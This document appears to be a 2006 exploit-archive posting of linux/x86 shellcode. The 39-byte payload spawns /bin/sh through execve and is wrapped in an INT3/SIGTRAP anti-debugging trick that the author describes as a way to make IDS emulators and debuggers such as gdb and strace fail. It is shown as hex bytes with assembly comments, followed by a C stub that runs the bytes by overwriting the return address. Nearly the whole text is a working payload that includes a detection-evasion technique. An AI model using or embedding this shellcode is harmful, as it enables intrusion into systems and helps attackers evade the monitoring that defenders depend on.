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# Title : linux/x86 anti-debug trick (INT 3h trap) + execve /bin/sh 39 bytes
# Published : 2006-01-21
# Author : izik
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/*
* (linux/x86) anti-debug trick (INT 3h trap) + execve("/bin/sh", ["/bin/sh", NULL], NULL) - 39 bytes
*
* The idea behind a shellcode w/ an anti-debugging trick embedded in it, is if for any reason the IDS
* would try to x86-emulate the shellcode it would *glitch* and fail. This also protectes the shellcode
* from running within a debugger environment such as gdb and strace.
*
* How this works? the shellcode registers for the SIGTRAP signal (aka. Breakpoint Interrupt) and use it
* to call the acutal payload (e.g. _evil_code) while a greedy debugger or a confused x86-emu won't pass
* the signal handler to the shellcode, it would end up doing _exit() instead execuve()
*
* - izik <izik@tty64.org>
*/
char shellcode[] =
"x6ax30" // push $0x30
"x58" // pop %eax
"x6ax05" // push $0x5
"x5b" // pop %ebx
"xebx05" // jmp <_evil_code>
//
// <_evilcode_loc>:
//
"x59" // pop %ecx
"xcdx80" // int $0x80
"xcc" // int3
"x40" // inc %eax
"xe8xf6xffxffxff" // call <_evilcode_loc>
"x99" // cltd
//
// <_evil_code>:
//
"xb0x0b" // mov $0xb,%al
"x52" // push %edx
"x68x2fx2fx73x68" // push $0x68732f2f
"x68x2fx62x69x6e" // push $0x6e69622f
"x89xe3" // mov %esp,%ebx
"x52" // push %edx
"x53" // push %ebx
"x54" // push %esp
"xebxe1"; // jmp <_evilcode_loc>
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}
// www.Syue.com [2006-01-21]